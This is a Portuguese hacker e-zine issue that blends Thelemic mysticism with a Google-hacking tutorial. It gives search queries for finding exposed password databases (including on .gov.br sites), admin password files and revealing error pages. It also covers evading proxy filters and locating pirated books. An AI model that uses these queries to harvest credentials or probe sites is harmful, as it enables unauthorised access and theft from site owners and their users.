Você está na página 1de 89

EQUINOX GREEN

Volume II
1

Esta publicao est sobre a FDL (Free Documentation License) podendo ser copiada, distribuda, desde que obedea a licena abaixo apresentada. Esta uma traduo no oficial da Licena de Documentao Livre GNU em Portugus Brasileiro. Ela no publicada pela Free Software Foundation, e no se aplica legalmente a distribuio de textos que usem a GFDL - apenas o texto original em Ingls da GNU FDL faz isso. Entretanto, ns esperamos que esta traduo ajude falantes de portugus a entenderem melhor a GFDL. Licena de Documentao Livre GNU Verso 1.1, Maro de 2000 Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA permitido a qualquer um copiar e distribuir cpias exatas deste documento de licena, mas no permitido alter-lo. 0. INTRODUO O propsito desta Licena deixar um manual, livro-texto ou outro documento escrito ``livre'' no sentido de liberdade: assegurar a qualquer um a efetiva liberdade de copiar ou redistribu-lo, com ou sem modificaes, comercialmente ou no. Secundariamente, esta Licena mantm para o autor e editor uma forma de ter crdito por seu trabalho, sem ser considerado responsvel pelas modificaes feitas por terceiros. Esta licena um tipo de ``copyleft'' (``direitos revertidos''), o que significa que derivaes do documento precisam ser livres no mesmo sentido. Ela complementa a GNU Licena Pblica Geral (GNU GPL), que um copyleft para software livre. Ns fizemos esta Licena para que seja usada em manuais de software livre, porque software livre precisa de documentao livre: um programa livre deve ser acompanhado de manuais que forneam as mesmas liberdades que o software possui. Mas esta Licena no est restrita a manuais de software; ela pode ser usada para qualquer trabalho em texto, independentemente do assunto ou se ele publicado como um livro impresso. Ns recomendamos esta Licena principalmente para trabalhos cujo propsito seja de intruo ou referncia. 1. APLICABILIDADE E DEFINIES Esta Licena se aplica a qualquer manual ou outro texto que contenha uma nota colocada pelo detentor dos direitos autorias dizendo que ele pode ser distribudo sob os termos desta Licena. O ``Documento'', abaixo, se refere a qualquer tal manual ou texto. Qualquer pessoa do pblico um licensiado e referida como ``voc''. Uma ``Verso Modificada'' do Documento se refere a qualquer trabalho contendo o documento ou uma parte dele, quer copiada exatamente, quer com modificaes e/ou traduzida em outra lingua. Uma ``Seo Secundria'' um apndice ou uma seo inicial do Documento que trata exclusivamente da relao dos editores ou dos autores do Documento com o assunto geral do Documento (ou assuntos relacionados) e no contm nada que poderia ser incluido diretamente nesse assunto geral. (Por exemplo, se o Documento em parte um livro texto de matemtica, a Seo Secundria pode no explicar nada de matemtica). Essa relao poderia ser uma questo de ligao histrica com o assunto, ou matrias relacionadas, ou de posies legais, comerciais, filosficas, ticas ou polticas relacionadas ao mesmo. As ``Sees Invariantes'' so certas Sees Secundrias cujos ttulos so designados, como sendo de Sees Invariantes, na nota que diz que o Documento publicado sob esta Licena. Os ``Textos de Capa'' so certos trechos curtos de texto que so listados, como Textos de Capa Frontal ou Textos da Quarta Capa, na nota que diz que o texto publicado sob esta Licena. Uma cpia ``Transparente'' do Documento significa uma cpia que pode ser lida automaticamente, representada num formato cuja especificao esteja disponvel ao pblico geral, cujos contedos possam ser vistos e editados diretamente e sem mecanismos especiais com editores de texto genricos ou (para imagens compostas de pixels) programas de pintura genricos ou (para desenhos) por algum editor de desenhos grandemente difundido, e que seja passvel de servir como entrada a formatadores de texto ou para traduo automtica para uma variedade de formatos que sirvam de entrada para formartadores de texto. Uma cpia feita em um formato de arquivo outrossim Transparente cuja constituio tenha sido projetada para atrapalhar ou desencorajar modificaes subsequentes pelos leitores no Transparente. Uma cpia que no ``Transparente'' chamada de ``Opaca''. Exemplos de formatos que podem ser usados para cpias Transparentes incluem ASCII simples sem marcaes, formato de entrada do Texinfo, formato de entrada do LaTeX, SGML ou XML usando uma DTD disponibilizada publicamente, e HTML simples, compatvel com os padres, e projetado para ser modificado por pessoas. Formatos opacos incluem PostScript, PDF, formatos proprietrios que podem ser lidos e editados apenas com processadores de texto proprietrios, SGML ou XML para os quais a DTD e/ou ferramentas de processamento e edio no estejam disponveis para o pblico, e HTML gerado automaticamente por alguns editores de texto com finalidade apenas de sada. A ``Pgina do Ttulo'' significa, para um livro impresso, a pgina do ttulo propriamente dita, mais quaisquer pginas subseqentes quantas forem necessrias para conter, de forma legvel, o material que esta Licena requer que aparea na pgina do ttulo. Para trabalhos que no tenham uma tal pgina do ttulo, ``Pgina do Ttulo'' significa o texto prximo da apario mais proeminente do ttulo do trabalho, precedendo o incio do corpo do texto. 2. FAZENDO CPIAS EXATAS Voc pode copiar e distribuir o Documento em qualquer meio, de forma comercial ou no comercial, desde que esta Licena, as notas de copyright, e a nota de licena dizendo que esta Licena se aplica ao documento estejam reproduzidas em todas as cpias, e que voc no acrescente nenhuma outra condio quaisquer que sejam s desta Licena. Voc no pode usar medidas tcnicas para obstruir ou controlar a leitura ou confeco de cpias subsequentes das cpias que voc fizer ou distribuir.

Entretanto, voc pode aceitar compensao em troca de cpias. Se voc distribuir uma quantidade grande o suficiente de cpias, voc tambm precisa respeitar as condies da seo 3. Voc tambm pode emprestar cpias, sob as mesmas condies colocadas acima, e voc tambm pode exibir copias publicamente. 3. FAZENDO CPIAS EM QUANTIDADE Se voc pblicar cpias do Documento em nmero maior que 100, e a nota de licena do Documento obrigar Textos de Capa, voc precisa incluir as cpias em capas que tragam, clara e legivelmente, todos esses Textos de Capa: Textos de Capa da Frente na capa da frente, e Textos da Quarta Capa na capa de trs. Ambas as capas tambm precisam identificar clara e legivelmente voc como o editor dessas cpias. A capa da frente precisa apresentar o ttulo completo com todas as palavras do ttulo igualmente proeminentes e visveis. Voc pode adicionar outros materiais s capas. Fazer cpias com modificaes limitadas s capas, tanto quanto estas preservem o ttulo do documento e satisfaam essas condies, pode tratado como cpia exata em outros aspectos. Se os textos requeridos em qualquer das capas for muito volumoso para caber de forma legvel, voc deve colocar os primeiros (tantos quantos couberem de forma razovel) na capa verdadeira, e continuar os outros nas pginas adjacentes. Se voc publicar ou distribuir cpias Opacas do Documento em nmero maior que 100, voc precisa ou incluir uma cpia Transparente que possa ser lida automaticamente com cada cpia Opaca, ou informar em ou com cada cpia Opaca a localizao de uma cpia Transparente completa do Documento acessvel publicamente em uma rede de computadores, qual o pblico usurio de redes tenha acesso a download gratuito e annimo utilizando padres pblicos de protocolos de rede. Se voc utilizar o segundo mtodo, voc precisa tomar cuidados razoavelmente prudentes, quando iniciar a distribuio de cpias Opacas em quantidade, para assegurar que esta cpia Transparente vai permanecer acessvel desta forma na localizao especificada por pelo menos um ano depois da ltima vez em que voc distribuir uma cpia Opaca (diretamente ou atravs de seus agentes ou distribuidores) daquela edio para o pblico. pedido, mas no obrigatrio, que voc contate os autores do Documento bem antes de redistribuir qualquer grande nmero de cpias, para lhes dar uma oportunidade de prover voc com uma verso atualizada do Documento. 4. MODIFICAES Voc pode copiar e distribuir uma Verso Modificada do Documento sob as condies das sees 2 e 3 acima, desde que voc publique a Verso Modificada estritamente sob esta Licena, com a Verso Modificada tomando o papel do Documento, de forma a licenciar a distribuio e modificao da Verso Modificada para quem quer que possua uma cpia da mesma. Alm disso, voc precisa fazer o seguinte na verso modificada: * A. Usar na Pgina de Ttulo (e nas capas, se alguma) um ttulo distinto daquele do Documento, e daqueles de verses anteriores (que deveriam, se houvesse algum, estarem listados na seo Histrico do Documento). Voc pode usar o mesmo ttulo de uma verso anterior se o editor original daquela verso lhe der permisso. * B. Listar na Pgina de Ttulo, como autores, uma ou mais das pessoas ou entidades responsveis pela autoria das modificaes na Verso Modificada, conjuntamente com pelo menos cinco dos autores principais do Documento (todos os seus autores principais, se ele tiver menos que cinco). * C. Colocar na Pgina de Ttulo o nome do editor da Verso Modificada, como o editor. * D. Preservar todas as notas de copyright do Documento. * E. Adicionar uma nota de copyright apropriada para suas prprias modificaes adjacente s outras notas de copyright. * F. Incluir, imediatamente depois das notas de copyright, uma nota de licena dando ao pblico o direito de usar a Verso Modificada sob os termos desta Licena, na forma mostrada no Adendo abaixo. * G. Preservar nessa nota de licena as listas completas das Sees Invariantes e os Textos de Capa requeridos dados na nota de licena do Documento. * H. Incluir uma cpia inalterada desta Licena. * I. Preservar a seo entitulada ``Histrico'', e seu ttulo, e adicionar mesma um item dizendo pelo menos o ttulo, ano, novos autores e editor da Verso Modificada como dados na Pgina de Ttulo. Se no houver uma sesso denominada ``Histrico''; no Documento, criar uma dizendo o ttulo, ano, autores, e editor do Documento como dados em sua Pgina de Ttulo, ento adicionar um item descrevendo a Verso Modificada, tal como descrito na sentena anterior. * J. Preservar o endereo de rede, se algum, dado no Documento para acesso pblico a uma cpia Transparente do Documento, e da mesma forma, as localizaes de rede dadas no Documento para as verses anteriores em que ele foi baseado. Elas podem ser colocadas na seo ``Histrico''. Voc pode omitir uma localizao na rede para um trabalho que tenha sido publicado pelo menos quatro anos antes do Documento, ou se o editor original da verso a que ela ser refira der sua permisso. * K. Em qualquer seo entitulada ``Agradecimentos''; ou ``Dedicatrias'';, preservar o ttulo da seom e preservar a seo em toda substncia e tim de cada um dos agradecimentos de contribuidores e/ou dedicatrias dados. * L. Preservar todas as Sees Invariantes do Documento, inalteradas em seus textos ou em seus ttulos. Nmeros de seo ou equivalentes no so considerados parte dos ttulos da seo. * M. Apagar qualquer seo entitulada ``Endossos'';. Tal sesso no pode ser includa na Verso Modificada. * N. No re-entitular qualquer seo existente com o ttulo ``Endossos''; ou com qualquer outro ttulo dado a uma Seo Invariante. Se a Verso Modificada incluir novas sees iniciais ou apndices que se qualifiquem como Sees Secundrias e no contenham nenhum material copiado do Documento, voc pode optar por designar alguma ou todas aquelas sees como invariantes. Para fazer isso, adicione seus ttulos lista de Sees Invariantes na nota de licena da Verso Modificada. Esses ttulos precisam ser diferentes de qualquer outro ttulo de seo. Voc pode adicionar uma seo entitulada ``Endossos'';, desde que ela no contenha qualquer coisa alm de endossos da sua Verso Modificada por vrias pessoas ou entidades - por exemplo, declaraes de revisores ou de que o texto foi aprovado por uma organizao como a definio oficial de um padro. Voc pode adicionar uma passagem de at cinco palavras como um Texto de Capa da Frente , e uma passagem de at 25 palavras como um Texto de Quarta Capa, ao final da lista de Textos de Capa na Verso Modificada. Somente uma passagem de Texto da Capa da Frente e uma de Texto da Quarta Capa podem ser adicionados por (ou por acordos feitos por) qualquer entidade. Se o Documento j incluir um texto de capa para a mesma capa, adicionado previamente por voc ou por acordo feito com alguma entidade para a qual voc esteja agindo, voc no pode adicionar um outro; mas voc pode trocar o antigo, com permisso explcita do editor anterior que adicionou a passagem antiga.

O(s) autor(es) e editor(es) do Documento no do permisso por esta Licena para que seus nomes sejam usados para publicidade ou para assegurar ou implicar endossamento de qualquer Verso Modificada. 5. COMBINANDO DOCUMENTOS Voc pode combinar o Documento com outros documentos publicados sob esta Licena, sob os termos definidos na seo 4 acima para verses modificadas, desde que voc inclua na combinao todas as Sees Invariantes de todos os documentos originais, sem modificaes, e liste todas elas como Sees Invariantes de seu trabalho combinado em sua nota de licena. O trabalho combinado precisa conter apenas uma cpia desta Licena, e Sees Invariantes Idnticas com mltiplas ocorrncias podem ser substitudas por apenas uma cpia.Se houver mltiplas Sees Invariantes com o mesmo nome mas com contedos distintos, faa o ttulo de cada seo nico adicionando ao final do mesmo, em parnteses, o nome do autor ou editor origianl daquela seo, se for conhecido, ou um nmero que seja nico. Faa o mesmo ajuste nos ttulos de seo na lista de Sees Invariantes nota de licena do trabalho combinado. Na combinao, voc precisa combinar quaisquer sees intituladas ``Histrico''; dos diversos documentos originais, formando uma seo entitulada ``Histrico''; da mesma forma combine quaisquer sees entituladas ``Agradecimentos'', ou ``Dedicatrias''. Voc precisa apagar todas as sees intituladas como ``Endosso''. 6. COLETNEAS DE DOCUMENTOS Voc pode fazer uma coletnea consitindo do Documento e outros documentos publicados sob esta Licena, e substituir as cpias individuais desta Licena nos vrios documentos com uma nica cpia includa na coletnea, desde que voc siga as regras desta Licena para cpia exata de cada um dos Documentos em todos os outros aspectos. Voc pode extrair um nico documento de tal coletnea, e distribu-lo individualmente sob esta Licena, desde que voc insira uma cpia desta Licena no documento extrado, e siga esta Licena em todos os outros aspectos relacionados cpia exata daquele documento. 7. AGREGAO COM TRABALHOS INDEPENDENTES Uma compilao do Documento ou derivados dele com outros trabalhos ou documentos separados e independentes, em um volume ou mdia de distribuio, no conta como uma Verso Modificada do Documento, desde que no seja reclamado nenhum copyright de compilao seja reclamado pela compilao. Tal compilao chamada um ``agregado'', e esta Licena no se aplica aos outros trabalhos auto-contidos compilados junto com o Documento, s por conta de terem sido assim compilados, e eles no so trabalhos derivados do Documento. Se o requerido para o Texto de Capa na seo 3 for aplicvel a essas cpias do Documento, ento, se o Documento constituir menos de um quarto de todo o agregado, os Textos de Capa do Documento podem ser colocados em capas adjacentes ao Documento dentro do agregado. Seno eles precisam aparecer nas capas de todo o agregado. 8. TRADUO A traduo considerada como um tipo de modificao, ento voc pode distribuir tradues do Documento sob os termos da seo 4. A substituio de Sees Invariantes por tradues requer uma permisso especial dos detentores do copyright das mesmas, mas voc pode incluir tradues de algumas ou de todas as Sees Invariantes em adio as verses orginais dessas Sees Invariantes. Voc pode incluir uma traduo desta Licena desde que voc tambm inclua a verso original em Ingls desta Licena. No caso de discordncia entre a traduo e a verso original em Ingls desta Licena, a verso original em Ingls prevalecer. 9. TRMINO Voc no pode copiar, modificar, sublicenciar, ou distribuir o Documento exceto como expressamente especificado sob esta Licena. Qualquer outra tentativa de copiar, modificar, sublicenciar, ou distribuir o Documento nula, e resultar automaticamente no trmino de seus direitos sob esta Licena. Entretanto, terceiros que tenham recebido cpias, ou direitos, de voc sob esta Licena no tero suas licenas terminadas tanto quanto esses terceiros permaneam em total acordo com esta Licena. 10. REVISES FUTURAS DESTA LICENA A Free Software Foundation pode publicar novas verses revisadas da Licena de Documentao Livre GNU de tempos em tempos. Tais novas verses sero similares em esprito verso presente, mas podem diferir em detalhes ao abordarem novos porblemas e preocupaes. Veja http://www.gnu.org/copyleft/. A cada verso da Licena dado um nmero de verso distinto. Se o Documento especificar que uma verso particular desta Licena ``ou qualquer verso posterior'' se aplica ao mesmo, voc tem a opo de seguir os termos e condies daquela verso especfica, ou de qualquer verso posterior que tenha sido publicada (no como rascunho) pela Free Software Foundation. Se o Documento no especificar um nmero de Verso desta Licena, voc pode escolher qualquer verso j publicada (no como rascunho) pela Free Software Foundation. ADENDO: Como usar esta Licena para seus documentos Para usar esta Licena num documento que voc escreveu, inclua uma cpia desta Licena no documento e ponha as seguintes notas de copyright e licenas logo apos a pgina de ttulo: Copyright (c) ANO SEU NOME. dada permisso para copiar, distribuir e/ou modificar este documento sob os termos da Licena de Documentao Livre GNU, Verso 1.1 ou qualquer verso posterior publicada pela Free Software Foundation; com as Sees Invariantes sendo LISTE SEUS TTULOS, com os Textos da Capa da Frente sendo LISTE, e com os Textos da Quarta-Capa sendo LISTE. Uma cpia da licena em est inclusa na seo entitulada

``Licena de Documentao Livre GNU''. Se voc no tiver nenhuma Seo Invariante, escreva ``sem Sees Invariantes'' ao invs de dizer quais so invariantes. Se voc no tiver Textos de Capa da Frente, escreva ``sem Textos de Capa da Frente'' ao invs de ``com os Textos da Capa da Frente sendo LISTE''; o mesmo para os Textos da Quarta Capa. Se o seu documento contiver exemplos no triviais de cdigo de programas, ns recomendamos a publicao desses exemplos em paralelo sob a sua escolha de licena de software livre, tal como a GNU General Public License, para permitir o seu uso em software livre.

O Editor gostaria muito de futuras contribuies de todos os fratri, na forma de artigos, tutoriais programas & textos. Os textos aceitos sero devidamente notificados a seus autores. Artigos devem ser enviados para: frateralbertus@gmail.com

EQUINOX GREEN
O ORGO OFICIAL DO MOVIMENTO HACKER THELEMICO A REVISO DO ILUMINISMO CIENTFICO
AN. CI ERA DE AQUARIUS-LEO VOL. I N.II

em

ABRIL DE MMV
FRATER Q.V.I.F. 196

O MTODO DA CINCIA O OBJETIVO DA RELIGIO

BRASIL

CONTEDO
Editorial LIBER 003 Por Frater Albertus Rabelais Messias Por Leandro A. Thomas Hacking 93 ! Por Frater Arjuna Introduo aos Sistemas Operacionais - Por Vo SCMORPHISM - Por Rodrigo Rubira Branco Livro da Lei Por Mestre Therion pgina 9 10 28 33 35 63 70

EDITORIAL
Faze o que tu queres, h de tudo ser da lei

Depois do Equinox Green I, tivemos uma ampla e completa recepctividade da comunidade em geral. Receptividade esta que nos animou a continuar o nosso trabalho de divulgaao e que agora se faz presente neste novo volume de nossa publicao. Passamos por um processo de desconstruo, seja de conceitos e de forma de pensar, j que muitas pessoas j esto vendo que o hacking, no como estamos vendo de maneira errnea pela imprensa e sim uma profunda mudana no pensar e na forma de agir. No uma mera ostentao ou alimentao do ego, mas uma iluminao que se faz podendo assim enxergar a capacidade de realizao de ns mesmos em conseguir alcanar objetivos muito maiores que estes. Fico vendo as pessoas comeando a discutir diversos aspectos al do computador, aspectos de suas vidas que poderiam ser melhoradas, pensando na forma do hacking. Quando eu digo pensar, tentar adotar uma maneira diferente de ver as coisas, no s d eum nico angulo, mas de uma perspectiva totalmente nova. A verdade que hoje temos pode ser uma mentira amanh, mas sempre ficar a sabedoria acumulada com nossos atos. Vejamos ento esta nova e modesta obra, com a colaborao de diversas pessoas, que nos ajudam a passar o conhecimento de seus trabalhos. A eles meu profundo e sincero agradecimento, por doar estas gotas de sabedoria para nossas mentes vorazes. A obra em si ainda imperfeita, pois nossa natureza imperfeite, apesar de nossa parcela divina. Os erros que existam, ser mea culpa. Peo a todos desculpas, pois o trabalho realizado com a mais profunda boa vontade e sacrifcio. Agradeceria muito que enviassem suas crticas e comentrios para nossa publicao e que no se inibam em mandar seus trabalhos para que possamos public-los. O convite fica aberto a todos que quiserem ajudar em nossa caminhada. Espero que todos tenham uma tima leitura e que estas poucas pginas possam trazer um pouco mais de luz do saber as trevas da ignorncia que insistem em nos rodear. 93,93/93 ! Frater Albertus Rabelais frateralbertus@gmail.com

Liber 003

Por Frater Albertus Rabelais frateralbertus@gmail.com

10

Preambulum...

Todo e qualquer homem pode igualar-se aos sbios e aos heris cuja memria todos reverenciam. No o poder que falta, a vontade Mo-Tse

Descobrir a nossa verdadeira vontade a pergunta da qual eu tenho me feito h algum tempo. Muitas pessoas confundem o desejo com a vontade e acabam descobrindo que muitas das suas crenas foram formas de expresso de desejos. Descobrir ou constatar esta afirmaro um dos grandes desafios do estudante no que diz respeito a conhecer a s prprio e as suas limitaes iniciais. Um dos maiores inimigos da verdadeira vontade o ego. Como Maia, nos enche das piores iluses possveis e nos transforma em escravos dos desejos, obstrundo assim a nossa caminhada rumo ao conhecimento. Muitos j caram nas armadilhas do ego, alimentados por diversos indivduos que projetavam suas necessidades nestes irmos. O ego capaz de levar um indivduo ao pice da iluso, tirando em muitos casos do caminho. Quantas vezes nosso ego foi alimentado com elogios e acabou levando-nos a cometer atos insensatos e desmedidos ? Quantas vezes o desejo instigou o ego e a vtima fomos ns mesmos ? Pense nisto e reflita sobre estas palavras. Contudo no precisamos eliminar o ego, e sim subjug-lo, ou melhor desprender-se de muitas coisas, afim de podermos encontrar sob estas camadas a nossa verdadeira vontade. difcil conseguir isto, pois estamos sendo diariamente bombardeados por uma srie de tentativas de insuflar cada vez mais o nosso ego. Olho a minha volta e vejo tantos que so escravos dos desejos, so limitados por algemas da sociedade, no olhando que dentro de si existem muito mais coisas a serem descobertas. Thelema vem do grego e significa vontade. Esta vontade o principal objetivo que tentamos alcanar. No hacking a vontade sem sombra de 11

dvida a necessidade de aprender, conseguir alcanar o conhecimento. Mas muitos entram no hacking movidos pelo desejo, alimentados por seus egos e acabam esquecendo a essncia de tudo. Utilizam do conhecimento de terceiros para alimentarem suas iluses. Estes contudo, acabam depois de um tempo se desligando e esquecem que um dia a chama foi despertada dentro de si. Onde esto estes hackers ? Eles esto ainda atuando ? Claro que no, pois movidos pelo desejo ningum consegue chegar a grande obra mstica. Mas a pergunta ainda fica no ar : como descobrir a sua verdadeira vontade ? Olhe para dentro de si e veja que coisas esto te movimentando hoje, quais so as suas expectativas com que est comeando os seus estudos. O que te levou a ler meus libri ? Foi o desejo de hackear pginas ? Invadir servidores ? Isto est movendo a sua iniciativa ? Se voc est pensando assim, pobre tolo... Vais ser escravo de seus desejos e no fim abandonar o caminho se tornando mais um como tantos outros que se entregaram, esquecendo que um dia despertaram a vontade de alimentar sua fome de conhecimento. O Ternrio do Hacking Poderamos definir que o hacking um ternrio, apresentado abaixo de acordo com o ternrio abaixo : homem cdigo sistema Onde : Homem elemento positivo Cdigo elemento negativo Sistema elemento neutro A lei geral a lei do Trs, cujo os princpios so o ativo (positivo), passivo (negativo) e neutro. De acordo com Papus duas coisas (fatos) anlogas a uma mesma terceira (lei) so anlogas entre si e pode-se determinar a relao existente entre o fato e qualquer outro dos fenmenos. Este mtodo analisa e esclarece as histrias simblicas. Montando o quadro analgico de acordo com Papus, poderamos ter o seguinte + Coluna Positiva Coluna Negativa Coluna Neutra

1a. Coluna Suplementar Vulnerabilidade Os Elementos Os Trs Astros

2a. Coluna Suplementar O Exploit Terra (Matria) Moral

Homem Fogo Sol

Cdigo gua Lua

Sistema Ar Mercrio

A Famlia Pai Me Filho O Mundo O homem (hacker) mais o cdigo (conhecimento de programao) podem dar origem ao sistema (programa, vulnerabilidade, etc). Este ternrio nos faz procurar dentro deste sistema o entendimento de nossa vontade, ou seja de criar a criana andrgina dos alquimistas, simbolizada pelo mercrio e no hacking simbolizada pelo sistema. Nossa obra comear aqui mostrando nossa primeira lio de nossa caminhada. 12

Seo 001h Prima Materia

O Iniciado pode dirigir-se a todos expressando suas idias por meio de histrias simblicas correspondentes aos fatos e ao sentido positivo. Muitos compreendem ainda, se no o sentido, ao menos as palavras que compem os quadros analgicos correspondentes as leis e ao sentido comparativo. A compreenso total da derradeira lngua que o iniciado emprega reservada somente aos adeptos. Munidos dos elementos que possumos, podemos entretanto abordar a explicao parcial deste mtodo sinttico, a derradeira e a mais elevada das cincias ocultas. Papus Tratado de Cincias Ocultas Uma das principais formas de investigao em busca de servidores e servios vulnerveis na web, a utilizao de scanners, ferramentas cuja a funo principal verificar se portas de servio esto abertas, ou a verso dos sofwtares servidores esto sendo executadas. Esta prtica realizada por ferramentas como o nmap (http://www.insecure.org/nmap) ou o Nessus (http://www.nessus.org), softwares mais que conhecidos e que possuem ampla literatura em portugus para o estudante. Sem sombra de dvida que estes programas fazem parte do arsenal do especialista, que tem como objetivo sempre estar com a possibilidade de examinar os sistemas alvo. Contudo em muitos casos a procura pode se tornar complicada, j que muitos no podem ter um micro a mo (um notebook) ou ento estar em uma situao da qual seu sistema no possa ser acessado. Neste momento o que o estudante pode fazer ?

13

A resposta est sempre a nossa frente, ou melhor disponvel para que possamos mesmo de um cybercaf, descobrirmos se um sistema pode ser invadido ou mesmo possvel de ser testado para que possamos descobrir uma vulnerabilidade. Nos dias de hoje as empresas disponibilizam cada vez mais e mais sistemas na web, com informaes preciosas como: senhas, documentos, planilhas, banco de dados,etc. O estudante poder se perguntar como acessar estes tesouros sem uma chave especfica, ou melhor uma ferramenta que permita levantar estas informaes. A prpria web nos fornece estas ferramentas, ou melhor utilizando a nossa capacidade, com um pouco de criatividade e espirto de explorao possvel levantar muitas das preciosidades acima citadas, utilizando apenas uma ferramenta que para muitos mal explorada : o Google. O Egrgora Digital Google O Google um mecanismo de procura composto por uma srie de scripts capazes de realizar buscas na web por diversas informaes. A contrrio do que se pensa o Google no a soluo para todos os problemas, mas pode nos fornecer muitas respostas as nossas perguntas. O Google possui uma srie de restries que gostaramos de apresentar antes de voc estudante, pensar que o mesmo a soluo para os seus problemas.

O Google indexa um retrato de tudo que possa estar online, de uma forma bruta, e que precisa ser garimpada. Ou seja as informaes em muitos casos so apresentadas de forma bruta. Este retrato esttico e pode mudar a qualquer momento; As informaes para o Google, at que prove-se o contrrio, so verdadeiras, ou seja o sistema pode ser iludido por falsos indexes, ou informaes colocadas de maneira confusas, afim de iludir os mecanismos de procura; O Google ainda pode filtrar contedo ofensivo/restrito, contudo podemos levantar este contedo em busca de informaes restritas.

O mecanismo do Google permite procuras como :


tens de pgina : ttulos, pargrafos especiais, palavras, etc. Tipos de pgina : dos tipos edu, gov, org, etc. Tipos de arquivos : pdf, txt, doc, xls, mdb, tudo que voc possa imaginar Tipos especiais de informao : por tpicos, datas de criao, etc.

Estas informaes so pesquisadas atravs das pginas de procura do Google divida em


Web A procura feita procura por URL's; Imagens A procura feita por figuras, fotos e desenhos; Grupos O contedo da Internet organizado por grupos de discusso e interesses Diretrios - O contedo da Internet organizado por assunto em categorias.

No Google americano ainda possvel procurar por telefones e endereos. Para entrar no Google entre no seu navegador e digite http://www.google.com.br A pgina do Google surgir ;

14

Para executarmos uma procura basta digitarmos na entrada do formulrio a procura. Por exemplo digite Liber 000, e pressione o boto Pesquisa Google, o mecanismo ir efetuar uma procura e exibir a resposta sob forma de links conforme abaixo :

O resultado vem sobre a forma de links, onde s clicar e chegar ao destino. Muitos perguntam sobre o boto Estou com Sorte, que na realidade manda o resultado da procura diretamente para o site onde existe a maior incidncia sobre o assunto, em muitos casos o primeiro da lista de respostas do Google. Em muitos casos uma maneira rpida de chegar a um resultado. Vale lembrar que estamos ainda iniciando a nossa grande obra, onde comeamos o processo de transformao alqumica de nosso lapis philosophorum.

15

Dica Profana As vezes proxies de redes bloqueiam contedos de sites (hacking, sexo, etc.). Que tal utilizar o Google para bypassar isto. Entre no google e digite hacking por exemplo e quando exibir os resultados clique em cima da opo Traduzir Esta Pgina. O Google exibe o contedo da pgina, bypassando o filtro do proxy. Alguns irmos profanos utilizam esta tcnica para ver pginas estrangeiras pornogrficas. Eu reprovo isto.

O Google ainda possui o recursa da chamada procura avanada, onde vrias pesquisas sob a forma booleana podem ser feitas. Por exemplo abaixo, quero imagens de demnios medievais do tipo jpeg, em preto e branco. Clique em busca avanada de imagens e digite o seguinte :

Aqui que comeamos a explorar o Google em seu potencial. Mande executar a pesquisa e veja o que apareceu no campo de procura aps o resultado : medieval demons filetype:jpg Esta sintaxe uma das grandes chaves de entendimento para utilizarmos o mecanismo de procura para as nossas pesquisas a sites e servidores vulnerveis. Nosso prximo discursos versar sobre o assunto.

16

Seo 002h A Operao Magicka...

A natureza da operao magicka, est na essncia da realizao da obra. Quando o estudante consegue realizar em toda a sua extenso a grande obra, temos o sucesso e a satisfao. Iremos agora comear a utilizar os recursos que o Google nos fornece para realizarmos uma srie de operaes de consulta e localizao de informaes. Iremos mostrar vrias operaes mgicas com o egregra do Google.

Primeira Operao Obtendo Livros Inicialmente vamos comear ajudando ao estudante conseguir livros na web em diversos formatos. No Liber 000 eu sugeri o livro profano do Internetworking With TCP/IP de Richard Stevens. Que tal obter este livro ? Podemos conseguir isto utilizando a clusula filetype:, onde podemos selecionar numa pesquisa o tipo de arquivo. Exemplo : richard stevens filetype:chm Onde eu estou procurando por qualquer referncia a Richard Stevens que o autor, com arquivos chm, que so do tipo help do Windows e so muito utlizados para troca de livros. Poderamos 17

procurar assim tambm : richard stevens filetype:pdf richard stevens filetype:doc richard stevens filetype:txt E que tal obter livros da O'reilly ? Digite : oreilly filetype:chm E veja a surpresa que aparecer...

Segunda Operao Obtendo Arquivos de Senhas Ainda podemos descobrir alguns arquivos de senhas utilizados em alguns servios web. Vamos observar as seguintes sintaxes abaixo : logins filetype:mdb passwords filetype:mdb senhas filetype:mdb users filetype:mdb usuarios filetype:mdb members filetype:mdb Muitos sites ainda utilizam o access da Microsoft, e possvel conseguir arquivos de senhas de vrios sites. Alguns destes arquivos podem estar com senha, mas existem dezenas de quebradores de senha de access na web. Vejamos outras possibilidades por exemplo : logins filetype:txt passwords filetype:txt Existem diversas possibilidades, basta o estudante pesquisar a respeito e ser criativo em suas procuras.

18

Firma! Firma! Agenta em tua raptura; no caias em desmaio dos beijos excelentes! Endurece! conserva-te a prumo! Levanta tua cabea! no respires to fundo - morre! Ah! Ah! Que sinto Eu? Est a palavra exausta? Existe auxlio & esperana em outros encantamentos. Sabedoria diz: s forte! Ento tu podes suportar mais alegria. No sejas animal; refina tua raptura! Se tu bebes, bebe pelas oito e noventa regras de arte: se tu amas, excede em delicadeza; e se tu fazes o que quer que seja de alegre, que haja sutileza ali contida! Mas excede! excede! Liber Al vel Legis, Cap.II, 67 - 71 " Faze o que tu queres, h de ser tudo da Lei."

Terceira Operao Aprimorando a Pesquisa Nesta operao utilizaremos a clusla site: que permite uma procura em sites especficos. Por exemplo senhas site:.gov.br, ou seja procuraremos em sites gov.br a palavra senhas, mas o mais interessante utilizando o exemplo anterior e a juno das operaes. Exemplo : senhas filetype:mdb site:.gov.br users filetype:mdb site:.org.br Esta interessante combinao permite especificar e fechar num ponto especfico a nossa procura. O estudante poder fazer vrios tipos de combinao com a opo site:.

Quarta Operao Ttulos Nesta operao veremos uma clusula muito interessante a intitle: que permite restringir procura de strings em ttulos de pginas. Vamos ver a sintaxe : intitle:index.of administrators.pwd intitle:ADSL Configuration page intitle:ADSL Configuration page Existe ainda uma variao, a allintitle:, que podemos utilizar para outros fins, por exemplo achar extenses do frontpage : allintitle: vti_cnf Combinando por exemplo com a opo :site 19

allintitle: vti_cnf site:.org Ou ainda : allintitle: login password Estamos limitados apenas por nossa imaginao. Dica Profana As mensagens de erro em pginas podem ser extremamente reveladoras. Exemplos interessantes de procura : - "access denied for user" "using password" - sitebuildercontent - ORA-00921: unexpected end of SQL command - ORA-00936: missing expression - mysql error with query - intitle:"Under construction" "does not currently have" - intitle:"Execution of this script not permitted" - intitle:"Error Occurred" "The error occurred in" filetype:cfm - internal server error - "Warning: Cannot modify header information - headers already sent" Supplied argument is not a valid MySQL?Create|Search result resource" Com pacincia e tolerncia muitas coisas podems er obtidas.

